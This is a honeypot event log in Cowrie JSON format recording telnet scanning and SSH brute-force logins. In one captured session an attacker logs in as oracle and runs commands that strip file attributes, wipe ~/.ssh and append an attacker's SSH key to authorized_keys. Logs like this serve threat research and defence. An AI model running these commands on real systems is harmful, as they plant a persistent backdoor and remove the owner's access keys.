{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":54198,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ffbf678eb9","protocol":"telnet","message":"New connection: 5.196.58.99:54198 (10.17.0.5:23) [session: 76ffbf678eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.520102Z"}
{"eventid":"cowrie.session.closed","duration":31.112059831619263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:52.560335Z","src_ip":"5.196.58.99","session":"a5cc4364bd0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400194883346558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.046522Z","src_ip":"5.196.58.99","session":"2fa5084bd42c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914519786834717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.051055Z","src_ip":"5.196.58.99","session":"1d2df79acaeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.390382289886475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.057071Z","src_ip":"5.196.58.99","session":"e3ed9808551a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secret","message":"login attempt [ubuntu/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.311301Z","src_ip":"103.248.120.6","session":"00aba3f6470b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.782843351364136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.437817Z","src_ip":"5.196.58.99","session":"b876049e27f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c316bfa43b","protocol":"telnet","message":"New connection: 5.196.58.99:36912 (10.17.0.5:23) [session: a9c316bfa43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.837731Z"}
{"eventid":"cowrie.session.closed","duration":31.153096437454224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:53.943575Z","src_ip":"5.196.58.99","session":"1d204a6a84cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69759464263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:54.045588Z","src_ip":"5.196.58.99","session":"ca8108dddb5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:54.531301Z","src_ip":"103.248.120.6","session":"00aba3f6470b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34562349319458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:55.179855Z","src_ip":"5.196.58.99","session":"62821ac565c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36914,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd278d498f3","protocol":"telnet","message":"New connection: 5.196.58.99:36914 (10.17.0.5:23) [session: 4fd278d498f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:55.413697Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e30e214a0d5","protocol":"telnet","message":"New connection: 5.196.58.99:36918 (10.17.0.5:23) [session: 1e30e214a0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:56.436003Z"}
{"eventid":"cowrie.session.closed","duration":31.720024585723877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:56.991242Z","src_ip":"5.196.58.99","session":"60428cbb1d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36922,"dst_ip":"10.17.0.5","dst_port":23,"session":"150ac0767bd0","protocol":"telnet","message":"New connection: 5.196.58.99:36922 (10.17.0.5:23) [session: 150ac0767bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:57.539953Z"}
{"eventid":"cowrie.session.closed","duration":30.424131870269775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:58.080654Z","src_ip":"5.196.58.99","session":"c7bec24c08df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5741970539093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:58.169915Z","src_ip":"5.196.58.99","session":"2069e6f1a1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36930,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cec2cbb8eb","protocol":"telnet","message":"New connection: 5.196.58.99:36930 (10.17.0.5:23) [session: 45cec2cbb8eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:58.286350Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36932,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68748f62f2c","protocol":"telnet","message":"New connection: 5.196.58.99:36932 (10.17.0.5:23) [session: d68748f62f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:58.681239Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d29efd1105f","protocol":"telnet","message":"New connection: 5.196.58.99:36944 (10.17.0.5:23) [session: 8d29efd1105f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:59.111236Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36956,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d97b3f55d0","protocol":"telnet","message":"New connection: 5.196.58.99:36956 (10.17.0.5:23) [session: f9d97b3f55d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:59.268849Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36958,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ea280bf7ea0","protocol":"telnet","message":"New connection: 5.196.58.99:36958 (10.17.0.5:23) [session: 4ea280bf7ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:59.433233Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6eaed701f78","protocol":"telnet","message":"New connection: 5.196.58.99:36968 (10.17.0.5:23) [session: a6eaed701f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:13:59.781643Z"}
{"eventid":"cowrie.session.closed","duration":30.524609327316284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:00.266243Z","src_ip":"5.196.58.99","session":"33a4241206a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84005355834961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:00.286929Z","src_ip":"5.196.58.99","session":"5ed468fc9e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36982,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b62d0988c52","protocol":"telnet","message":"New connection: 5.196.58.99:36982 (10.17.0.5:23) [session: 2b62d0988c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:00.883002Z"}
{"eventid":"cowrie.session.closed","duration":30.838804960250854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:01.311694Z","src_ip":"5.196.58.99","session":"0fcdb30edc7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00422191619873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:01.364925Z","src_ip":"5.196.58.99","session":"689264591166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32255458831787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:01.474107Z","src_ip":"5.196.58.99","session":"8c0e762abe79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":36998,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba72cabe669c","protocol":"telnet","message":"New connection: 5.196.58.99:36998 (10.17.0.5:23) [session: ba72cabe669c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:01.481813Z"}
{"eventid":"cowrie.session.closed","duration":31.474727153778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:01.630607Z","src_ip":"5.196.58.99","session":"f917dbc1f5a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.281596899032593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:02.207204Z","src_ip":"5.196.58.99","session":"9b6d8cb59a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf923d5fd319","protocol":"telnet","message":"New connection: 5.196.58.99:37000 (10.17.0.5:23) [session: cf923d5fd319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:02.215824Z"}
{"eventid":"cowrie.session.closed","duration":13.75286865234375,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:02.240077Z","src_ip":"122.162.150.72","session":"2f3b3b6c74ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":37006,"dst_ip":"10.17.0.5","dst_port":23,"session":"e55f84aca0af","protocol":"telnet","message":"New connection: 5.196.58.99:37006 (10.17.0.5:23) [session: e55f84aca0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:02.416286Z"}
{"eventid":"cowrie.session.closed","duration":30.732981204986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:03.487283Z","src_ip":"5.196.58.99","session":"1f47242c3f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36905527114868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:03.598506Z","src_ip":"5.196.58.99","session":"c4f39f80e30b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40486,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a960e5eaee","protocol":"telnet","message":"New connection: 5.196.58.99:40486 (10.17.0.5:23) [session: 39a960e5eaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:03.938756Z"}
{"eventid":"cowrie.session.closed","duration":31.984776258468628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:03.947315Z","src_ip":"5.196.58.99","session":"8d1163688149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"6974449651fd","protocol":"telnet","message":"New connection: 5.196.58.99:40494 (10.17.0.5:23) [session: 6974449651fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:04.065781Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f307c83dd5","protocol":"telnet","message":"New connection: 5.196.58.99:40498 (10.17.0.5:23) [session: 76f307c83dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:04.082920Z"}
{"eventid":"cowrie.session.closed","duration":30.82669734954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:04.124220Z","src_ip":"5.196.58.99","session":"6b2f25a52f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065288066864014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:04.728858Z","src_ip":"5.196.58.99","session":"1c728505981c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.427213191986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:05.050977Z","src_ip":"5.196.58.99","session":"bb95ede468fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485953330993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:05.056545Z","src_ip":"5.196.58.99","session":"2553db994c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039986848831177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:05.179241Z","src_ip":"5.196.58.99","session":"111f47abb3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"40f002dc67a0","protocol":"telnet","message":"New connection: 5.196.58.99:40504 (10.17.0.5:23) [session: 40f002dc67a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:05.870663Z"}
{"eventid":"cowrie.session.closed","duration":30.129268407821655,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.043882Z","src_ip":"5.196.58.99","session":"efc9f39efb7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710691690444946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.052738Z","src_ip":"5.196.58.99","session":"4b341acf03ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084616661071777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.059018Z","src_ip":"5.196.58.99","session":"2e2a7d40e711","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b20a5e2d1b9","protocol":"telnet","message":"New connection: 5.196.58.99:40514 (10.17.0.5:23) [session: 5b20a5e2d1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.422046Z"}
{"eventid":"cowrie.session.closed","duration":31.160011529922485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.593333Z","src_ip":"5.196.58.99","session":"36734d30e4a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78047776222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:06.731412Z","src_ip":"5.196.58.99","session":"2dfcf1cad60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40522,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbdb059477dc","protocol":"telnet","message":"New connection: 5.196.58.99:40522 (10.17.0.5:23) [session: dbdb059477dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.007844Z"}
{"eventid":"cowrie.session.closed","duration":30.94357681274414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.245541Z","src_ip":"5.196.58.99","session":"8f34a2aebaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14527177810669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.633690Z","src_ip":"5.196.58.99","session":"3adfe41fa249","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7325166ae0ec","protocol":"telnet","message":"New connection: 5.196.58.99:40528 (10.17.0.5:23) [session: 7325166ae0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.639525Z"}
{"eventid":"cowrie.session.closed","duration":31.372671842575073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.732830Z","src_ip":"5.196.58.99","session":"476e6d4c5231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52814,"dst_ip":"10.17.0.5","dst_port":22,"session":"464bc33502e0","protocol":"ssh","message":"New connection: 209.99.189.177:52814 (10.17.0.5:22) [session: 464bc33502e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.992413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:07.997254Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.128644Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65713334083557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.289966Z","src_ip":"5.196.58.99","session":"0c2f4dca95ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40544,"dst_ip":"10.17.0.5","dst_port":23,"session":"92a9322af2e3","protocol":"telnet","message":"New connection: 5.196.58.99:40544 (10.17.0.5:23) [session: 92a9322af2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.474732Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40502,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8f4c25eb60","protocol":"telnet","message":"New connection: 5.196.58.99:40502 (10.17.0.5:23) [session: 8c8f4c25eb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.492702Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0r@cle","message":"login attempt [oracle/0r@cle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.672305Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.24158477783203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.820418Z","src_ip":"5.196.58.99","session":"3b7135b26046","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.969315Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.972495Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:08.976596Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.105963Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72798776626587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.331789Z","src_ip":"5.196.58.99","session":"57ac4f4b40f9","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.390665Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.393931Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
